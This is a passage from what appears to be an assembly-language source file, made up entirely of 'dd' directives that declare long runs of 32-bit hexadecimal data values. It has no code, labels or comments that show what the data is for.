0F4177111h, 90CC996Eh, 24DC2077h, 43D49134h dd 1ED0634Bh, 3E059697h, 0AFC6956Dh, 900288D5h, 0C1371658h dd 961012E4h, 9F06A446h, 60895213h, 20088068h, 689358DFh dd 8C400F80h, 2E25361Eh, 0BC3CC816h, 0ABA20727h, 0D940C077h dd 0E4B65027h, 0A0F7212Ch, 5FD0222Ah, 3A0E7C71h, 746D817Dh dd 303A4ADBh, 0BCD82A00h, 92A64C00h, 1AE19C47h, 0F21C7385h dd 234B00B2h, 0BB258E9Fh, 0EA58ADD5h, 0F8800230h, 7EEF2181h dd 0A76C04ECh, 0BB110016h, 90CCC50h, 620983BEh, 263E899h dd 54040BAAh, 87344021h, 0BB0DB2D1h, 1A1E0CACh, 0F100ED21h dd 92870E3Fh, 0E68465A4h, 9E695CB8h, 214DF212h, 0E496ACC0h dd 0F07BD0F8h, 40C0415Ch, 88A00508h, 98003A47h, 75B8DE6Bh dd 0B139EE79h, 97582E24h, 0DF84201Eh, 0E002450h, 3FCFCA21h dd 26F9C74Ch, 11402F45h, 0C0A89074h, 416D697Bh, 0BEB0020h dd 940DB059h, 25008D3Ch, 0DA862CA3h, 13A24EACh, 30A12643h dd 0C3741A20h, 6744A8B4h, 2EC9F721h, 0F6013C20h, 0BC91B6h dd 0E29FA177h, 0EF057151h, 86016B9Dh, 0D008A80Eh, 0DC229C58h dd 8B077CBCh, 92404F32h, 2CA496C1h, 0C45C8110h, 1FF491FDh dd 0AFA1C8C9h, 7FB774A0h, 0F96F2000h, 76810BB2h, 89C524B9h dd 1913404h, 7DB4AFE8h, 50103E40h, 136AA1E8h, 180EFDCh dd 5950FB6h, 8535DE52h, 1949BC76h, 1B2CB4A0h, 41A7A2F7h dd 0D4566782h, 11124342h, 86C0C9Ah, 3BE1C947h, 0B143C160h dd 0AE981E60h, 28930025h, 8022F7Eh, 0B4053D00h, 21B94F29h dd 0CC8CFEDh, 5C427B80h, 10B5CF9Ch, 13E0CC88h, 0F116B551h dd 11807D0h, 649FA0F6h, 27020EDCh, 5E12206Dh, 4AC044EEh dd 0BFC9015h, 0B709AC30h, 98286AFAh, 0B8C0EEA0h, 6ED60035h dd 75768A3Fh, 0A0A45CF7h, 6D9D0B05h, 60E08E1Dh, 3869880Ch dd 0A8D77B00h, 0C0F26CCBh, 7654F0A4h, 6E461D83h, 1D878469h dd 0DDC8F4E5h, 77C96503h, 83756F36h, 732DB815h, 0CA1C0B1Eh dd 286878D2h, 901CE52h, 0CFFD0189h, 57C4F3F6h, 0A86F00D1h dd 0FC239EF7h, 0BD229D85h, 34AE5818h, 0C7B86FC0h, 650001B4h dd 29C023D6h, 140D4B5Dh, 0B438DAE5h, 31807539h, 7707EAA5h dd 0B8A680A0h, 8216BF7Ah, 0E800A389h, 0FF1EE227h, 1B1EA95h dd 0D1E84EE3h, 443F9D20h, 0BE8C408h, 18D17614h, 268D8580h dd 0D3E873h, 455247A2h, 75AE7E3Eh, 250074B8h, 0C84999CDh dd 0F8200944h, 6F9E0395h, 80A78898h, 0E56DBB88h, 0F8974B4Ah dd 86096180h, 37F20BCCh, 0E01875F3h, 5609D0FDh, 10783A34h dd 6E96DCh, 875A899h, 469D1089h, 377208A0h, 0C4B228F8h dd 73FBA100h, 1636127Dh, 75F4A804h, 7EE000BEh, 985FB765h dd 50B49B55h, 0FA92E343h, 9F42A8h, 0B74E1AFh, 4DF11829h dd 0B639992Fh, 600E9826h, 4BBB70Bh, 40C4BC54h, 24AF3082h dd 8064BC77h, 2AA624B8h, 55FB383Ch, 98918980h, 84358DBAh dd 61296202h, 0C628E7E5h, 82A30154h, 7398FD4Ah, 5990603Dh dd 75094577h, 912849F1h, 4C795EB4h, 756469C0h, 8E23C81h dd 212AA5E0h, 700A84Fh, 63A26BEh, 0BD6C5F75h, 0DA9EB490h dd 0A54EF225h, 40820F4Ch, 4000F607h, 7B63FC8Dh, 8F5E660Fh dd 0F01BC0B6h, 0EEC15D32h, 91544ED1h, 4D0504h, 0F510B80h dd 0AF49E6E9h, 99299680h, 0A1001E8Bh, 0DB2175E0h, 0FD9E3760h dd 882E0h, 9DDD3BEh, 2F383C2Bh, 320E96F2h, 3A84673h, 0C09D8BFEh dd 42023Ah, 703D716Dh, 574A8428h, 0FE4B5F79h, 81023048h dd 0A45D8E2Dh, 7223CC8Ch, 21603D00h, 95E5336Eh, 6C28009Dh dd 0A5784B1Ah, 4C903271h, 3D3FE091h, 0B7BF858Ch, 7C8268F5h dd 0F0CC177h, 187473D1h, 51437CCAh, 4DE0CC8Fh, 1483FE0Eh dd 24AF0780h, 0BC951277h, 0BE200A04h, 57900ACh, 0BDB93C56h dd 29229117h, 3108888h, 1C467DD3h, 0DCE06A9Bh, 703CFC26h dd 170E93C4h, 336800D0h, 0F004734Fh, 8E8A01Fh, 93C38836h dd 9430199Fh, 53F820h, 0DD359679h, 745F59ADh, 0BE184550h dd 5814BFh, 401594E0h, 56D90C6Fh, 614FC400h, 21C870ECh dd 32E11299h, 7814A039h, 0C2450202h, 0C490019Eh, 24370758h dd 10C3FE4Dh, 30D9216Bh, 8A094B00h, 7E648B8h, 60630096h dd 8C7D320h, 0EC1F8702h, 33094414h, 2EA400EFh, 1D0A9371h dd 4AC1E49Bh, 6070EC60h, 7DE03DC5h, 91DE960Bh, 147924h dd 0D319A38Ch, 28F27593h, 1708102h, 80D0A083h, 5EF12CEEh dd 4A634F6Dh, 812C8088h, 0F7DA961Fh, 0E8B97031h, 6CC05496h dd 0E6083497h, 11260509h, 0A4E548h, 0E006C5B4h, 0F35C71B4h dd 4B751698h, 887148A2h, 2D00AB01h, 49A7CBAh, 75CD69EAh dd 39840261h, 411175AFh, 0E0FA18E4h, 45C3300Fh, 0A0B64176h dd 11943178h, 4E07F009h, 91CD08F7h, 59C92981h, 77023D0h dd 31D0DDC5h, 76D7233Fh, 715F9125h, 0CE00B062h, 8129BFE4h dd 0BD28790Eh, 449C8CEAh, 0FE0D5040h, 72AF003Eh, 53BDBCC1h dd 7B00F741h, 0BA99201Ah, 0D286A21Dh, 0AE90CCE0h, 6071D0C0h dd 0B1210BCDh, 0A9E681D8h, 0CC165B12h, 0B57F406Bh, 4DA49195h dd 0C9F5F8EBh, 0FB1B0073h, 9698A540h, 0B61AABECh, 7482B53Bh dd 9169228h, 0A8814920h, 0F081237Eh, 5B0105D4h, 1F9FDDE1h dd 841CB8Fh, 0E4742737h, 307D4899h, 5580B700h, 95C3F86Ch dd 0D9340084h, 65990E77h, 4B2703C8h, 3D6090EEh, 0DBDA00E7h dd 6F91C285h, 0C54C3478h, 54206AB8h, 16891408h, 8328E444h dd 77483C00h, 0A0EC114Ah, 4B7409C6h, 600F436Bh, 91A3138h dd 0AE1ED091h, 0F4D65142h, 10F96Ah, 0A972A698h, 107F0F5Dh dd 38F1040Bh, 0C6580003h, 9BF768h, 85FFEDC0h, 49EE445Dh dd 0B23AA601h, 0E09811F9h, 0D830B061h, 1ABE0005h, 13692621h dd 9B03D943h, 0EB2BEF8Ah, 0F36198E2h, 54496E7h, 0C02C1349h dd 0E1212305h, 9940C4Ch, 80791005h, 0AB5391D8h, 4422EDD2h dd 46A10D80h, 0CE072B5Bh, 0CB29B8ECh, 68B8D924h, 0D2873502h dd 0A8C418BBh dd 1E421496h, 219A60D7h, 9ED7377h, 0DC9BC625h, 280268CCh dd 0B9D40F66h, 0C004E3FDh, 12693Ah, 35858B71h, 0D1EC926h dd 91EA811Eh, 0E798E5D8h, 84B175h, 8A8C5D25h, 0A0041311h dd 2203D91Dh, 5C804CACh, 0B2B509FAh, 0BF823000h, 1E1C63A7h dd 0F0842806h, 0A8C8AB5Ch, 9493D8CBh, 5810AF18h, 43E29EFCh dd 0B04B2709h, 76520292h, 0C89855BDh, 0DC07A1CBh, 0E45BEE1h dd 0D4014770h, 0E86F0006h, 389E21FAh, 150092A1h, 0DAAAD527h dd 0B347B88h, 31C408C2h, 0C800F473h, 25E443D2h, 9129097Dh dd 2C201C54h, 0FB238E95h, 9AAE000h, 0E9A4FC1Eh, 0C4750BEBh dd 38C49C52h, 0C91B2B02h, 59ABA0F3h, 0D9403D64h, 17317180h dd 1D370FB3h, 812783ECh, 0CA9B58A5h, 0E790B4ADh, 12B86F52h dd 50E27611h, 51DB9B00h, 0A4E94740h, 7F28A500h, 0CC7DA1Dh dd 78FC34h, 9B589629h, 0F721CB80h, 9CB1A277h, 7F24513Bh dd 0F34FC420h, 0F9B1005Eh, 48EB1184h, 94007360h, 4002763Dh dd 1C92AB71h, 646F80A0h, 77094024h, 720FE55Ah, 0A29164Bh dd 700E083Fh, 0C1324C5Fh, 8180E115h, 4973EF48h, 7F707ABCh dd 0B9176000h, 1D9ADE3Dh, 4304B48Dh, 0CB892544h, 9387D9Ch dd 4082A1F7h, 0BCA00730h, 98AD40A8h, 5B00EF6Bh, 1CB95754h dd 0BF0161h, 0DA1FEE2h, 7B2B4A05h, 41726F00h, 14D9AC90h dd 0D076002Eh, 7AE4A03Eh, 0CF58E010h, 40551627h, 206B4804h dd 9D812640h, 74909E75h, 24EFD39h, 535C7134h, 8430563Bh dd 907D10BFh, 0A999C5B8h, 9155A027h, 8224918h, 403ABB02h dd 0E4482624h, 8513BE06h, 60C87409h, 17DA8165h, 1A425654h dd 7C543172h, 101D8CE0h, 91AF0011h, 2DFA93F6h, 0C6019F34h dd 9E27D7C8h, 3478DB1Eh, 404202C0h, 24B678E9h, 926FFF80h dd 0A07061h, 0AB4CDD4Ah, 44E39AA5h, 5369BC00h, 2803CD3Fh dd 28BB7539h, 0AC88DE31h, 0E2F103C8h, 0C5EF7E6Eh, 0ACCC9EDBh dd 0EEA08E90h, 0C3D460A6h, 39F059h, 49A16DE0h, 0CA10A27Ch dd 189F0770h, 86165C30h, 51B47215h, 0E71E18B8h, 7D72B59h dd 0A84DF37Bh, 0A88C355Bh, 0D22980C0h, 990BD72h, 706D231Eh dd 92C394C0h, 741A20A0h, 0E0BF4A6h, 0C828FEF1h, 0BAE434h dd 69FA9A4Dh, 78939DE6h, 0A2B5EC01h, 7AC2043h, 0C75E1C9h dd 2828207Eh, 5C13F8F1h, 0D60041FFh, 70948B14h, 8FF23A13h dd 663F5E81h, 6396DE84h, 7D0E01A0h, 37A86115h, 5B34D4C2h dd 0EEE911E0h, 6D293B0Fh, 1AD02759h, 4AAE0451h, 28482500h dd 2446404h, 0E6C51708h, 3FA55480h, 0AD753AD9h, 0E57CFD09h dd 0DA00D0F2h, 4DDFA265h, 7D4964h, 4F7C725Ch, 9D18BC03h dd 0F200E6E8h, 0F146120Bh, 0EC3BC9h, 890DE74Dh, 0C513A176h dd 375AEB7Fh, 16BAC48h, 0CD86720Fh, 40DAC076h, 474574Ch dd 0EF7D6D93h, 84891C82h, 82295C4h, 0D89455h, 0B3147DE9h dd 6769F627h, 0C0BCC200h, 60A1EED6h, 4F6F0430h, 0ABB9F4C6h dd 6A6CFC21h, 96004069h, 18C83C92h, 5E12C201h, 0C0D25C47h dd 0AE282060h, 0D000176h, 29D34B7Bh, 135B9594h, 57D23FBh dd 0AD3F88F2h, 0EEAD2550h, 0E0B40040h, 815ED80Fh, 0DD000860h dd 659D91CCh, 0DE49E7E9h, 88E61038h, 1D00B8EDh, 48C6FBD4h dd 8F4C0C43h, 0B15780C8h, 86BC6Dh, 0D0DD6429h, 74D3BEECh dd 3E009872h, 37017071h, 0B443CACBh, 174A42BCh, 86770720h dd 0C8BE4FDEh, 0B4137000h, 0CA62FE5h, 853BEB00h, 8290FD19h dd 7641B660h, 0BB0574h, 87093926h, 31421755h, 6CE894A3h dd 0B746DAh, 0A0FE71ACh, 0BB7C0E7Bh, 8600B0EAh, 0E137672h dd 0C483660Ah, 9200A81Fh, 0A37D1763h, 0B4A42545h, 1C1D08D9h dd 78B49822h, 62BB1289h, 0CB5C0121h, 3AEA5DA4h, 44ACD848h dd 95E24019h, 1E4D59Fh, 35E0CEDBh, 355DB6C3h, 0CCA5C014h dd 10304F51h, 9B04FB7Ch, 2271D817h, 0E7DC4405h, 0DCA07085h dd 90011875h, 0DE8738EFh, 6E21BD22h, 3AE86030h, 0D48A1E44h dd 451C0900h, 0D28EEBFDh, 0B4E8200Fh, 0A80C259Ah, 4DD07C5Eh dd 879D869h, 0B621433Eh, 0FD956D85h, 0CF08412h, 7548A04Bh dd 0B32A28B4h, 8C86C8h, 0A811CB18h, 0FEE762FBh, 67914F0Dh dd 0AC30D010h, 0E3BD29A4h, 2A310BACh, 0AAC05h, 56833CD0h dd 0E0C84DEEh, 0E0724930h, 0D10BB40Fh, 6B7CC0F3h, 52EA71Ch dd 91FB0F78h, 0E7A8B041h, 0C1EA6D31h, 0B832BFC3h, 0EC000F3Bh dd 82D924B2h, 8C03A5B9h, 812C6E4Ah, 3389B628h, 43311CE5h dd 0DDD9EDD8h, 0AB500701h, 456DD4CAh, 0D248D3CBh, 904E698h dd 0EF8549A2h, 17BC645Ch, 8985C53h, 0E8B0086h, 0B97DB7B8h dd 0B300612Dh, 0D5FF63B6h, 0AE1D91F4h, 0DE88A260h, 76854920h dd 0F022C74Ah, 72E94F5Dh, 61660732h, 0A5C402Fh, 0F06D2D9Bh dd 0CC1100E0h, 0D0546251h, 2848748Bh, 0C8012F24h, 41C7A518h dd 0A8202B4Fh, 5A4DABh, 7433944Ah, 0DAD1701Ch, 687F5702h dd 82C4CD73h, 624CD4CAh, 964667Ch, 0F0F89E25h, 7E3E6C79h dd 9CA8CC2Eh, 944CF311h, 20D140DEh, 0EB2B1FEDh, 83306D08h dd 13910856h, 0E4270F89h, 364B00C0h, 2B5D692Eh, 0F500D012h dd 0B8E89CC2h, 0F0D9876Ah, 8F290553h, 0C46EDEADh, 0A088039Eh dd 59214AAFh, 8F0D0019h, 100854C6h, 0E4015925h, 0E73A0068h dd 0D999D6E1h, 34485FD4h, 79288488h, 4BE9488h, 0C6D53952h dd 0E16C82FEh, 0A168235Fh, 77310FDAh, 91E22934h, 0B053EE8Dh dd 68C63A85h, 6E7BD031h, 12804C6Ch, 88BA2B76h, 0E69E2E13h dd 0B146531Eh, 4370A955h, 62CD22E5h, 0ADC4F00Fh, 0D10DAE02h dd 0FB0E0018h, 2B42B00Bh, 463D0101h, 0D22D1CE1h, 3CE4FEh dd 7875F363h, 0AF33DB72h, 1E00F898h, 7343124Fh, 19AB2F9h dd 297721ACh, 41760ABDh, 882C0DCh, 733088EFh, 395DB417h dd 2CF6DCF5h, 0B8815B0h, 1940601Ch, 147FE887h, 0B443F71Bh dd 0DEA28121h, 3074E214h, 84EE92B8h, 0A9570068h, 58BE3643h dd 0A5142C25h, 1090A497h, 0BC88B3CDh, 189810AFh, 82EF3C36h dd 91CA7782h, 0D0A4DE55h, 6D693173h, 714D230Ch, 0D3DD04F4h dd 0C4083BE2h, 0B8B91645h, 0BF62BC01h, 0D4AE0CD0h, 290056C0h dd 0A5BB8121h, 0BF03E979h, 87F74C2Fh, 2C99FC60h, 0EC98B724h dd 884FF811h, 1E005B9Ch, 4FA3C856h, 325A2DFCh, 0D9900671h dd 8110C519h, 0F4B987DEh, 0B920C8A0h, 0C51E745Ch, 0EF43ED19h dd 1F0E7C14h, 204FC04Bh, 0B3662779h, 0BC4F6C20h, 1D760097h dd 573B90EAh, 11C0BDF3h, 1B44D015h, 0E69F01C1h, 7F372DABh dd 9164F83Dh, 7393DC03h, 188A45A2h, 39BBF330h, 7B0039EDh dd 0B8BC61B6h, 786B048Eh, 0FF5100EBh, 47328BA2h, 460BF723h dd 80EA1C2Fh, 0EE8106FAh, 67780060h, 0D017FA49h, 0A60EDBAh dd 0D76DBD21h, 24F00C9h, 1985E11h, 0BE00E34Ah, 6AED3F8Bh dd 7568873Bh, 0C49E61BDh, 0DB79F18Ah, 8B1D411Eh, 0E9FABB06h dd 4C1C0310h, 3E35C09Bh, 68A498F2h, 11D9428Eh, 0D689007Ah dd 983091A7h, 518117Ch, 255E00C3h, 4128CEF1h, 88988BBBh dd 86C1B60Ch, 441C4068h, 0A63773ABh, 0BB325948h, 0C5062FF3h dd 9103A1D4h, 0A43485A8h, 8600EDCFh, 465B6C56h, 8A100054h dd 0A2F5F11Ch, 0A0A0379Bh, 0B8A8BEF3h, 8500CB63h, 252AD4Bh dd 18F583C7h, 20239245h, 3EC94E53h, 326F00E7h, 7338D566h dd 76931E18h, 691F0C0Ch, 98ACE948h, 48FEA8C8h, 0ED4F00B4h dd 682856DEh, 7B670C18h dd 0F5F5BA39h, 80D2C611h, 0FA1A0C41h, 0CACAD7Dh, 0B81FA2FEh dd 0F00CE3B8h, 29D0AA79h, 49106FD9h, 6885C809h, 0A23F809Fh dd 0C100D382h, 2249D184h, 18550E7h, 2B90054Fh, 57B9F355h dd 410E5F80h, 7E6A2E20h, 0E439166Ch, 2FD3A0Fh, 84D56523h dd 8C78A97Ch, 60983895h, 0F8AE797Eh, 0F97EABACh, 2015C50Fh dd 9EE494A6h, 0C1E4B08h, 1AE92751h, 0F84CC8F0h, 0A8C305DAh dd 90084FBBh, 0F8266782h, 2522B9h, 50CFFEBDh, 0D7EF8707h dd 3667A732h, 0FF784110h, 0DAC622D2h, 901790A0h, 0F40E578Dh dd 5D3580D1h, 0FB595E40h, 7AA0BB55h, 0BC6902E6h, 0F2ED4DFEh dd 4F2240A4h, 20C0746Ch, 998A182Bh, 1742F971h, 0CC06E00h dd 0FF5EA0D9h, 478500D0h, 0F510A822h, 0D3B9E73h, 0EF5A8705h dd 0F3234358h, 6A590784h, 0E033E330h, 0FA230D6Bh, 5F651C14h dd 44862B84h, 5F108D90h, 85F3188Ah, 0D2BF19h, 653CE6Bh dd 168C487Eh, 99A8A303h, 89B2E8BDh, 78239577h, 7554EE0Ah dd 81901CA1h, 4EC1C779h, 0A6433A3h, 88F75633h, 4AC8F610h dd 0A02274A8h, 636B12D0h, 4D9102E0h, 0C0A00B5Ch, 0E1998604h dd 7584501Ch, 4C15A980h, 600BDFh, 839DC8F1h, 70F6C57Bh dd 0AE330A13h, 0EE664444h, 2361C80h, 56D60040h, 0BD4E1324h dd 4724A270h, 0FA94A406h, 0A408B590h, 6514BE29h, 0EB3A0C9Ch dd 6774A844h, 7188A48h, 520CB8E9h, 0EB297Ch, 0D6475429h dd 0D517BE9Dh, 2CB0624Dh, 0BB065D9Ch, 64491FF7h, 328A89BDh dd 45184C20h, 208045F3h, 0EBA77394h, 0FDF79CA9h, 3E0332Ch dd 0EEC8EF99h, 0B75AB25h, 2885D531h, 2C29B400h, 8D004F98h dd 77D49AA7h, 99FDA167h, 27211F4h, 301D6E32h, 73D8400Ch dd 71EC67AAh, 80A18CF3h, 6FC43604h, 0E8CAB846h, 24510C12h dd 60D88C50h, 900112F6h, 0D567F54Ch, 843039E3h, 101D43F0h dd 0BA087FC3h, 0BD9316F7h, 7EC83430h, 773D003Eh, 0A7205B65h dd 32EAE3ECh, 70561C02h, 0C1BE4E3Fh, 3B0CA090h, 0A08FE388h dd 8236F7ACh, 0AF00B466h, 7B512414h, 7E077C48h, 538F705Ah dd 3439E0D4h, 0D1729998h, 9B3A32A6h, 36AD0167h, 6F40F9FCh dd 50CEE841h, 7A4F309h, 97D1C8E9h, 0A460D7F0h, 3C30F1D3h dd 0F3694445h, 887F2942h, 0C022BF1h, 38973F0Fh, 44614050h dd 62EF0090h, 9205DE3Ah, 6500D85Bh, 0F419309Fh, 0E0E980h dd 63D15E2Eh, 0CC26B33h, 70BE5324h, 66212364h, 4498118Ah dd 0CF1E8510h, 60705424h, 1BC17805h, 0B8E6C980h, 0ECF22E1Ch dd 0C8511010h, 11704066h, 570C093Ah, 1922E8BBh, 776B1E43h dd 88D0E4D0h, 0C60CD5BAh, 91E9D9h, 0EBD04DA9h, 6A547E0Bh dd 22099073h, 19234C78h, 5FD4E170h, 0A411C00Eh, 0B8C3872Ch dd 36DECC12h, 27A300ABh, 23F63D06h, 21046448h, 182A91A8h dd 0B3F986F3h, 0C99E0E24h, 1E005B4Ah, 19070AA2h, 0D621C402h dd 40AF1BFAh, 817865F8h, 27DC3298h, 3D60DD0Eh, 0A5123511h dd 8434F886h, 9367BC44h, 0A7CA415Fh, 243A3E83h, 9F85BC50h dd 179866FEh, 6DA44047h, 0E49F4662h, 0E98094ABh, 0F914A3D7h dd 8F8C5017h, 0C96300A4h, 2C706B42h, 3BE80FB6h, 0D404E944h dd 480ACBF0h, 196A38D2h, 7CC21438h, 0C2BD2512h, 5E2369BCh dd 3C190024h, 0B7552329h, 0C10AAE68h, 143BD9BEh, 0BFA06201h dd 94478E0Fh, 21F6D88Dh, 337513D9h, 0F8D02260h, 281DF3Fh dd 8523A2FFh, 10B8CC49h, 14A74A3h, 31AB1B41h, 62E9BB01h dd 580C0AE4h, 0D741B090h, 0C055A852h, 0BB5B1306h, 51814460h dd 0A7391160h, 30B9B4h, 0CA6068B5h, 0D42899A2h, 0F570C016h dd 5B67E602h, 4174405Ah, 534484FDh, 800C3036h, 0D9E87079h dd 95664000h, 8228A326h, 0CFA7DB4h, 0C9B9072h, 5E4127D8h dd 45F1E860h, 6AA1F820h, 8430F203h, 741E2F40h, 0EE811419h dd 0CA2CC46Fh, 38F2145Ch, 8272181Fh, 59169B19h, 0D1AB5140h dd 3A60C600h, 29EAA3E8h, 4A337A0Eh, 52184868h, 96C8F467h dd 6F7432E9h, 3508F719h, 0E021D098h, 54670A14h, 2AFE0814h dd 736BBD80h, 58E0C7C4h, 0AA39CC29h, 6DBEFA82h, 0F069E41Dh dd 6360316Eh, 4C645810h, 3078226Ch, 6D510D51h, 0C10777A3h dd 7B9D478Ch, 0A865ED70h, 6B481605h, 0E95C04DFh, 306E22FCh dd 44840104h, 0DA078AD2h, 71A2430Bh, 0ECCBBE14h, 6850BB3Bh dd 78B1C6h, 9C58BE1Ah, 922428B3h, 0C010DC8Ah, 0C8B260C8h dd 0A4872F81h, 0C86C49D4h, 0E6924C00h, 36AFEE0Ah, 4E03CE4h dd 409F516h, 0F34FB48h, 0DC2072D9h, 98A10BD6h, 8BE82441h dd 5006111Ch, 0C588BF08h, 7D5E0051h, 0C891CD36h, 0D7F4D660h dd 0C76781C0h, 74F19F3h, 0EFFB3163h, 0C15500DCh, 6138BBF6h dd 0BE270FD5h, 3698C33Bh, 0A4A8A034h, 0F3B92499h, 6E0C41FCh dd 88718E91h, 68723A2h, 1CB0138Ch, 2D006CCCh, 1A086C9Bh dd 10AC2C46h, 11FF8428h, 0B9DBC646h, 2188400Eh, 60C72F02h dd 0D178AB61h, 75320446h, 8CBF5266h, 5A3553F4h, 1CD00A8Ah dd 0F8FE31C1h, 61660067h, 35077762h, 50129EE4h, 4C045D38h dd 2482C8C4h, 664119F1h, 64240364h, 347728Bh, 138B5E1h dd 0F490CF30h, 5C0080B8h, 8FE54232h, 5B5078h, 46F86B14h dd 0C02D24F5h, 0A065BE24h, 20F0CE52h, 0E8B98327h, 0DEB9FB00h dd 261D09Eh, 0A3A25F7Fh, 84C768D7h, 26002911h, 0DA2D7D74h dd 0AA04D297h, 0A3BB33DCh, 191960C2h, 0BCCC145Ah, 0E11A0065h dd 5E745F9Dh, 0D70AA6E6h, 0CCE5F531h, 80882715h, 10C5C25Bh dd 0E4F65930h, 87342608h, 8A00DB11h, 0DAB73B37h, 52F02AE7h dd 681E0C00h, 4D2B5879h, 0BC0099A2h, 40905525h, 5B00ED68h dd 0D99E7158h, 0E7421Ah, 0C0597E82h, 0A5155422h, 10C09B48h dd 288890D0h, 0CF4C93B9h, 0AFF8A80Bh, 149748ACh, 5F80E098h dd 25BC4C69h, 460085E2h, 91665796h, 17C9D5B8h, 3816E332h dd 7C8875F8h, 48B47F18h, 0CE0767F8h, 11781B32h, 237BA2AFh dd 0E0172488h, 94BB5967h, 4A3700B0h, 0FC4279FFh, 6800BEB2h dd 59CFFB0Fh, 7ACDAEDDh, 998A2693h, 9FD54004h, 0F42E7AE1h dd 9A605C27h, 3A1590h, 4A1FC3AEh, 0D7FB89AAh, 8021711Eh dd 0C066035Ch, 51158891h, 0B500E80Fh, 5510C991h, 231D0111h dd 5F40BEF0h, 4926752h, 99122966h, 0C48A009Ch, 0D0A9BA6Bh dd 0A893AE00h, 0CD0CD4BFh, 0EC7308B8h, 68191094h, 0A8346931h dd 0C1A44E8h, 0B9835134h, 6F59C831h, 0ABFC0h, 0EEF712C1h dd 687D3F11h, 3BA3D448h, 1D3E897Eh, 29B899D8h, 23A4C014h dd 382584D0h, 0F0641807h, 70C548D7h, 9FD45D83h, 9D08F698h dd 57452B02h, 60B17F1Ch, 8139FE48h, 3100DBC6h, 3EFAF5A4h dd 76F3098Ah, 23422C07h, 27BC6ACCh, 0FD099082h, 40665F11h dd 50182810h, 9C456700h, 20FAB831h, 6E138436h, 4C016305h dd 0A4C25AD6h, 0F4012F83h, 0CA611835h, 0E2009046h, 0FE9BC556h dd 0B420E0h, 40897C5Ah, 0B092A016h, 93EFC316h, 0C5BAF849h dd 0A7CA81B8h, 807098A4h, 632F4D69h, 0A83780h, 8DDA088Ah dd 43571366h, 0F34AC1F2h, 0DF72D844h, 41E12h, 9A6B4306h dd 8B7647C8h, 4621EA06h, 4470C391h, 0FC4EBA92h, 199E7472h dd 61881050h, 498DF0A8h, 7D22D87Bh, 0F6BFDE03h, 0B8D6412Bh dd 25CB5Dh, 0AA33FFD4h, 8A685B30h, 8462FD09h, 0ABC44F6h dd 0D7C6C0FBh, 0DDB480E8h, 66D04A17h, 0A62D6702h, 615240B7h dd 61FC31E0h, 0E8AE507Dh dd 4558861Dh, 8087C8B4h, 0ADF7B727h, 4003532h, 0DB84B5E2h dd 2EFCC1B6h, 18F1D7A5h, 0D47390Ch, 0EE663601h, 6B3F3070h dd 58698C4h, 0CEFACA8Bh, 0EAE881BCh, 246D0822h, 9DD865C2h dd 0D62CE06Ch, 0E8005442h, 9D036EE4h, 418B2763h, 0A579F838h dd 10277891h, 6130D0h, 8D1EA9D6h, 0EF567F87h, 72F1E8C2h dd 18112F10h, 1641D5C6h, 0EFB00E8Ch, 710F216Dh, 370049AEh dd 939BADFBh, 399CC848h, 4486202Ah, 0E50113D2h, 7F4F1C5h dd 0C84CDBB8h, 14C35563h, 13C822F4h, 8022514h, 0A164539Ch dd 86F0C853h, 76B4000h, 0A20802A3h, 80C4623Ch, 0BD00DFCAh dd 4AD49A6Ch, 0F32C724Fh, 9219DC90h, 4463D700h, 53F83569h dd 0CEAD0F5Bh, 4865910Ch, 0A768C365h, 0A9D322C4h, 0D0981BB0h dd 1CE58142h, 0C0A41EB6h, 195F0DD3h, 0B0002955h, 8DD4CFA0h dd 0D4AFFAEAh, 0ED3B8049h, 10F86845h, 4FCC17DCh, 4B861A1h dd 2436B325h, 0C5217300h, 2E9C53D1h, 279302E8h, 0A2330A12h dd 0BA1E0448h, 808C2C41h, 9C35A7ACh, 6A300F0h, 0B9133EF1h dd 0F30884F5h, 1062EBFFh, 825AC83Ch, 0EA2015E3h, 0A0DAD442h dd 0A819B242h, 62F391C3h, 0BEE3006Ch, 9F80DF79h, 649200B2h dd 5F94852Eh, 563BFE2Ah, 0D73E817Eh, 0DCB22016h, 0BB8AE86Ch dd 0BD420174h, 3054B7C0h, 90904330h, 21469930h, 0F3556F1h dd 13F790CAh, 0BC847020h, 0D22FD331h, 593C8D69h, 4CB5020h dd 4D8B4F17h, 0F9948C20h, 380CEB5Ch, 0E040CF98h, 3943C4B2h dd 92E71CA2h, 58140F0Dh, 0D8B490F6h, 0CA01E4F4h, 0E92F05EFh dd 9C42BDC9h, 92219F0h, 0EF164C41h, 1C1CB205h, 0A4009F6Eh dd 0C137D207h, 5C87590h, 0BAE08DEEh, 4E4A5DBh, 6CA081CAh dd 18E9109Ch, 3E61F020h, 0C600BCD4h, 0C00C9DCBh, 2A001455h dd 49670FCDh, 14787B4Ch, 0EF7E7A4Dh, 43F06D1Ch, 0E273F73Ah dd 0F071EBB9h, 476148E6h, 88EF7908h, 79636C0h, 63C3A772h dd 7EB901A6h, 642080F2h, 0AA5288A2h, 765C0178h, 0CCD5F997h dd 0DE4180B8h, 36445A18h, 6F700604h, 703398F0h, 79EEFC19h dd 60C0CA88h, 23D206DEh, 76A92578h, 52D69800h, 0A1917457h dd 134100B4h, 8CA026C1h, 0E1F8CAA7h, 18009998h, 0D43479Dh dd 0C37CF9D6h, 0ED767B79h, 6DD5611Bh, 78B7E0D9h, 547C50C8h dd 5E698880h, 0DC7BA0A1h, 0D6005CECh, 0BED88625h, 0CA539E7Ah dd 911CC4E0h, 0E45918B9h, 937E08h, 0CB2D7C23h, 0FE0BA199h dd 65B55B00h, 0C979CAAh, 0FCF83014h, 12990A89h, 0A4FDA000h dd 812325F6h, 86B3000Ch, 1BF9DFC2h, 42E19A20h, 0E2213098h dd 0E6004159h, 0AE60C25Ch, 5B38F279h, 881348CAh, 4354F507h dd 53E26118h, 0EA318403h, 0FC45E5C7h, 1E8C4ED4h, 938B2320h dd 0DF0221E2h, 4AB051Ch, 880C40E1h, 4D558831h, 0D2D949C3h dd 0D0A7C85Dh, 0C5050E1h, 0A4FF00A3h, 28DFCDFAh, 408847A5h dd 0E8110663h, 81F4F9E9h, 7ADAEF02h, 91C3778Eh, 21F66FD0h dd 81D15D7Bh, 27A18619h, 39A8F45Fh, 0D3AF0864h, 4C1143C3h dd 0F1528607h, 0D0A1309Dh, 750570EBh, 1FDEFBF0h, 9C5B840Ah dd 72FC7460h, 6F878055h, 0C8AD3F0Ah, 7114F9ABh, 888C24A0h dd 80075342h, 0D6652F7Ch, 146B02BAh, 66588552h, 9171A841h dd 7D0C0B28h, 4FE9DD24h, 8D47F400h, 3C3FA177h, 988A6029h dd 70D8DA1Ah, 0E9D5FC30h, 3EDFB1E4h, 0F62C6Eh, 3FF677DCh 